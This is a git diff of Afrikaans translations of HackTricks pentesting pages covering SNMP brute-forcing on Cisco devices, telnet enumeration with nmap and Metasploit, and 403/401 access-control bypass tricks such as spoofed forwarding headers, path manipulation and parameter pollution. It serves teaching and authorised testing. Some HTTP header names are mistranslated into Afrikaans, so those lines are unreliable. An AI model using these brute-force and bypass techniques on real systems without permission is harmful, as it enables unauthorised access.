* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackerloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hackerloopbaan** en die onkraakbare wil kraak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting Cisco-netwerke
|
||||
|
||||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol steun op gemeenskapsreekse, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie reekse is deurslaggewend omdat hulle toegangsvlakke bepaal, spesifiek **alleen-les (RO) of lees-skryf (RW) toestemmings**. 'n Merkbare aanvalsvektor vir pentesters is die **brute-krag-aanval op gemeenskapsreekse**, met die doel om netwerktoestelle binne te dring.
|
||||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol steun op gemeenskapsreekse, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie reekse is deurslaggewend omdat hulle toegangsvlakke bepaal, spesifiek **alleen-lees (RO) of lees-skryf (RW) toestemmings**. 'n Merkbare aanvalsvektor vir pentesters is die **brute-krag van gemeenskapsreekse**, met die doel om netwerktoestelle te infiltreer.
|
||||
|
||||
'n Praktiese instrument vir die uitvoering van sulke brute-krag-aanvalle is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys potensiële gemeenskapsreekse en die IP-adresse van die teikens vereis:
|
||||
'n Praktiese instrument vir die uitvoering van sulke brute-krag aanvalle is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys potensiële gemeenskapsreekse en die IP-adresse van die teikens vereis:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hacking loopbaan** en hack die onhackbare - **ons is aan die werf!** (_vloeiend Pools geskrewe en gespreek benodig_).
|
||||
|
||||
|
@ -57,7 +57,7 @@ As jy belangstel in **hacking loopbaan** en hack die onhackbare - **ons is aan d
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
|
@ -40,7 +40,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
|||
```
|
||||
Die skrips `telnet-ntlm-info.nse` sal NTLM-inligting bekom (Windows-weergawes).
|
||||
|
||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is verskeie "**opsies**" wat gesanksioneer sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener toe te laat om ooreen te kom om 'n meer ingewikkelde (of dalk net verskillende) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan die verandering van die karakterstel, die ekostand, ens. insluit.
|
||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-Protokol is verskeie "**opsies**" wat geheilig sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener toe te laat om ooreen te kom om 'n meer ingewikkelde (of dalk net anders) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan die verandering van die karakterstel, die ekostand, ens. insluit.
|
||||
|
||||
**Ek weet dit is moontlik om hierdie opsies op te som, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
||||
|
||||
|
@ -84,9 +84,9 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
||||
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en indringingstoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenning tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -96,10 +96,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# 403 & 401 Oorsprong
|
||||
# 403 & 401 Oorskrydings
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap & kenmerke wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -24,20 +24,20 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
Probeer om **verskillende werkwoorde** te gebruik om die lêer te benader: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
* Kyk na die responskoppe, dalk kan daar enige inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord die inligting kan benader**. Maar jy moet steeds 'n manier vind om daardie inligting uit te voer.
|
||||
* Kyk na die responskoppe, dalk kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD-werkwoord die inligting kan benader**. Maar jy moet steeds 'n manier vind om daardie inligting uit te voer.
|
||||
* Die gebruik van 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` kan die gebruikte werkwoord oorskryf.
|
||||
* Gebruik die **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk ook die **koppe sien wat deur tussenliggende proksi's bygevoeg is** wat nuttig kan wees.
|
||||
|
||||
## HTTP Koppe Fuzzing
|
||||
|
||||
* **Verander die Host-kop** na 'n arbitrêre waarde ([wat hier gewerk het](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Probeer om [**ander Gebruiker Agente**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om die hulpbron te benader.
|
||||
* **Fuzz HTTP Koppe**: Probeer om HTTP Proksi **Koppe**, HTTP-outentifikasie Basies en NTLM-bruteforse (met net 'n paar kombinasies) en ander tegnieke te gebruik. Om dit alles te doen, het ek die gereedskap [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
||||
* Probeer om [**ander Gebruikeragents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om die hulpbron te benader.
|
||||
* **Fuzz HTTP Koppe**: Probeer om HTTP Proksi **Koppe**, HTTP-outentifikasie Basies en NTLM-bruteforse (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die gereedskap [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
||||
|
||||
* `X-Oorsprong-IP: 127.0.0.1`
|
||||
* `X-Voorwaarts-Vir: 127.0.0.1`
|
||||
* `X-Voorwaarts: 127.0.0.1`
|
||||
* `Voorwaarts-Vir: 127.0.0.1`
|
||||
* `X-Oorspronglike-IP: 127.0.0.1`
|
||||
* `X-Voorwaartse-Vir: 127.0.0.1`
|
||||
* `X-Voorwaartse: 127.0.0.1`
|
||||
* `Voorwaartse-Vir: 127.0.0.1`
|
||||
* `X-Afgeleë-IP: 127.0.0.1`
|
||||
* `X-Afgeleë-Adres: 127.0.0.1`
|
||||
* `X-Proksi-Gebruiker-Ip: 127.0.0.1`
|
||||
|
@ -50,34 +50,34 @@ Probeer om **verskillende werkwoorde** te gebruik om die lêer te benader: `GET,
|
|||
|
||||
As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hierdie ander koppe te gebruik:
|
||||
|
||||
* `X-Oorspronklike-URL: /admin/console`
|
||||
* `X-Herskryf-URL: /admin/console`
|
||||
* As die bladsy **agter 'n proksi** is, is dit miskien die proksi wat jou verhoed om die privaat inligting te benader. Probeer om [**HTTP Versoek Smokkelary**](../../pentesting-web/http-request-smuggling/) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik**.
|
||||
* Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na 'n verskillende respons.
|
||||
* **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuz.
|
||||
* `X-Oorspronklike-URL: /admin/konsole`
|
||||
* `X-Herskryf-URL: /admin/konsole`
|
||||
* As die bladsy **agter 'n proksi** is, is dit miskien die proksi wat jou verhoed om die privaat inligting te benader. Probeer om [**HTTP-versoeksmokkeling**](../../pentesting-web/http-request-smuggling/) te misbruik **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**spesiale HTTP-koppe**](special-http-headers.md) op soek na 'n ander respons.
|
||||
* **Fuzz spesiale HTTP-koppe** terwyl jy **HTTP Metodes** fuz.
|
||||
* **Verwyder die Host-kop** en miskien sal jy die beskerming kan omseil.
|
||||
|
||||
## Pad **Fuzzing**
|
||||
|
||||
As _/pad_ geblokkeer is:
|
||||
|
||||
* Probeer om _**/**_**%2e/path \_(as die toegang deur 'n proksi geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/path (dubbele URL-kodering)
|
||||
* Probeer **Unicode-omseiling**: _/**%ef%bc%8f**path_ (Die URL-gekodeerde karakters is soos "/") sodat wanneer dit teruggekodeer word, sal dit _//path_ wees en miskien het jy reeds die _/pad_ naamkontrole omseil
|
||||
* Probeer om _**/**_**%2e/pad \_(as die toegang deur 'n proksi geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/pad (dubbele URL-kodering)
|
||||
* Probeer **Unicode-omseiling**: _/**%ef%bc%8f**pad_ (Die URL-gekodeerde karakters is soos "/") sodat wanneer dit teruggekodeer word, sal dit _//pad_ wees en miskien het jy reeds die _/pad_ naamkontrole omseil
|
||||
* **Ander padomseilings**:
|
||||
* site.com/secret –> HTTP 403 Verbode
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
* site.com/secret/ –> HTTP 200 OK
|
||||
* site.com/secret/. –> HTTP 200 OK
|
||||
* site.com//secret// –> HTTP 200 OK
|
||||
* site.com/./secret/.. –> HTTP 200 OK
|
||||
* site.com/;/secret –> HTTP 200 OK
|
||||
* site.com/.;/secret –> HTTP 200 OK
|
||||
* site.com//;//secret –> HTTP 200 OK
|
||||
* site.com/secret.json –> HTTP 200 OK (ruby)
|
||||
* site.com/geheim –> HTTP 403 Verbode
|
||||
* site.com/GEHEIM –> HTTP 200 OK
|
||||
* site.com/geheim/ –> HTTP 200 OK
|
||||
* site.com/geheim/. –> HTTP 200 OK
|
||||
* site.com//geheim// –> HTTP 200 OK
|
||||
* site.com/./geheim/.. –> HTTP 200 OK
|
||||
* site.com/;/geheim –> HTTP 200 OK
|
||||
* site.com/.;/geheim –> HTTP 200 OK
|
||||
* site.com//;//geheim –> HTTP 200 OK
|
||||
* site.com/geheim.json –> HTTP 200 OK (ruby)
|
||||
* Gebruik al [**hierdie lys**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in die volgende situasies:
|
||||
* /FUZZsecret
|
||||
* /FUZZ/secret
|
||||
* /secretFUZZ
|
||||
* /FUZZgeheim
|
||||
* /FUZZ/geheim
|
||||
* /geheimFUZZ
|
||||
* **Ander API-omseilings:**
|
||||
* /v3/gebruikers\_data/1234 --> 403 Verbode
|
||||
* /v1/gebruikers\_data/1234 --> 200 OK
|
||||
|
@ -85,12 +85,12 @@ As _/pad_ geblokkeer is:
|
|||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Ongeoutoriseer
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"gebruiker\_id":"\<wettige\_id>","gebruiker\_id":"\<slagoffers\_id>"} (JSON Parameter Besoedeling)
|
||||
* gebruiker\_id=AANVALLER\_ID\&gebruiker\_id=SLAGOFFER\_ID (Parameter Besoedeling)
|
||||
* {"gebruiker\_id":"\<wettige\_id>","gebruiker\_id":"\<slagoffers\_id>"} (JSON-parametersverontreiniging)
|
||||
* gebruiker\_id=AANVALLER\_ID\&gebruiker\_id=SLAGOFFER\_ID (Parametersverontreiniging)
|
||||
## **Parameter Manipulation**
|
||||
|
||||
* Verander **param-waarde**: Van **`id=123` --> `id=124`**
|
||||
* Voeg addisionele parameters by die URL toe: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* Voeg ekstra parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* Verwyder die parameters
|
||||
* Herorden parameters
|
||||
* Gebruik spesiale karakters.
|
||||
|
@ -133,9 +133,9 @@ guest guest
|
|||
* [Burp-uitbreiding - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Verbode Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en indringingstoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en indringingstoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -147,7 +147,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,15 +14,15 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhakbare wil hak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die webdiens is die mees **gewone en omvattende diens** en baie **verskillende tipes kwesbaarhede** bestaan.
|
||||
Die webdiens is die mees **gewone en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**.
|
||||
|
||||
**Verstekpoort:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -49,7 +49,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
|
||||
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||
* [ ] Enige **gespesialiseerde skandeerder** om uit te voer (soos wpscan)?
|
||||
* [ ] Begin met die **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind.
|
||||
* [ ] Begin met die **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
||||
* [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS-skandering** (indien HTTPS).
|
||||
* [ ] Begin met die **spinnekop** van die webbladsy: Dit is tyd om al die moontlike **lêers, vouers** en **parameters wat gebruik word, te vind**. Kyk ook vir **spesiale bevindinge**.
|
||||
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spinnekop, dit moet gespinnekop word._
|
||||
|
@ -57,15 +57,15 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spinnekop, dit moet Brute-Forced word._
|
||||
* [ ] **Agteruitkopieë kontroleer**: Toets of jy **agteruitkopieë** van **ontdekte lêers** kan vind deur algemene agteruitkopie-uitbreidings by te voeg.
|
||||
* [ ] **Brute-Force parameters**: Probeer om **verskuilde parameters** te vind.
|
||||
* [ ] Sodra jy al die moontlike **eindpunte** wat **gebruikersinsette** aanvaar, geïdentifiseer het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||
* [ ] Sodra jy al die moontlike **eindpunte** wat **gebruiker insette** aanvaar, geïdentifiseer het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Bedienerweergawe (Kwesbaar?)
|
||||
|
||||
### Identifiseer
|
||||
|
||||
Kyk of daar **bekende kwesbaarhede** vir die bediener **weergawe** wat loop, is.\
|
||||
Die **HTTP-koptekste en koekies van die respons** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word, te **identifiseer**. **Nmap-scan** kan die bedienerweergawe identifiseer, maar dit kan ook nuttig wees die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Kyk of daar **bekende kwesbaarhede** vir die bediener **weergawe** wat hardloop, is.\
|
||||
Die **HTTP-koppe en koekies van die respons** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word, te **identifiseer**. **Nmap-scan** kan die bedienerweergawe identifiseer, maar dit kan ook nuttig wees die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
